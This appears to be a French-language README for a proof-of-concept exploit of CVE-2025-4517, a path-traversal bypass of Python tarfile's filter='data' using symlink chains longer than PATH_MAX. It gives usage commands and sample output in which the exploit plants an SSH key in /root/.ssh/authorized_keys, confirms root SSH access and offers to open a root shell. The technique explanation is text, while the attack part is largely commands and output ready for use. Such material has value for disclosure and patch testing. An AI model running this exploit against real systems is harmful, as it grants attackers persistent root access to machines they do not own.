
Exploit de preuve de concept pour CVE-2025-4517, une vulnérabilité de traversée de chemin dans le filtre='data' de tarfile de Python, permettant des écritures de fichiers arbitraires en dehors du répertoire d'extraction via des chaînes de liens symboliques conçues.
"data" de Python tarfile (PoC)Vulnérabilité de traversée de chemin dans le module
tarfilede Python affectant les versions 3.8.0 à 3.13.1. Le bac à sablefilter="data"— destiné à empêcher les extractions non sécurisées — peut être contourné en concevant des chemins qui dépassentPATH_MAX(4096 octets), ce qui fait queos.path.realpath()cesse silencieusement de résoudre les liens symboliques. La vérification de sécurité voit un chemin d'apparence sûre tandis que le noyau résout le vrai, permettant des écritures en dehors du répertoire d'extraction. Ce PoC exploite le contournement pour écrire une clé publique SSH dans/root/.ssh/authorized_keys.
PATH_MAX.filter="data" appelle os.path.realpath() pour valider chaque chemin — mais à PATH_MAX, il cesse de résoudre et voit le chemin comme toujours à l'intérieur du répertoire de staging. La vérification réussit./root/.ssh/authorized_keys.ssh-keygen disponible (ou fournissez votre propre clé publique avec -k)sudo pour déclencher l'extraction vulnérable# Générer automatiquement une nouvelle paire de clés
python3 exploit.py
# Utiliser une clé publique existante
python3 exploit.py -k ~/.ssh/id_ed25519.pub
Exemple :
$ python3 exploit.py
[+] Paire de clés SSH générée : /tmp/cve_2025_4517_key
[*] Création de l'archive tar d'exploitation...
[+] Archive tar d'exploitation créée : /tmp/cve_2025_4517_exploit.tar
[*] Déploiement de l'exploit vers : /opt/backup_clients/backups/backup_9999.tar
[+] Exploit déployé avec succès
[*] Déclenchement de l'extraction via le script vulnérable...
[+] Extraction terminée
[*] Vérification de l'exploit via SSH...
[+] SUCCÈS ! SSH en tant que root confirmé : uid=0(root) gid=0(root) groups=0(root)
============================================================
[+] EXPLOITATION RÉUSSIE !
[+] SSH en tant que root avec : ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================
[?] Ouvrir un shell root maintenant ? (o/n) :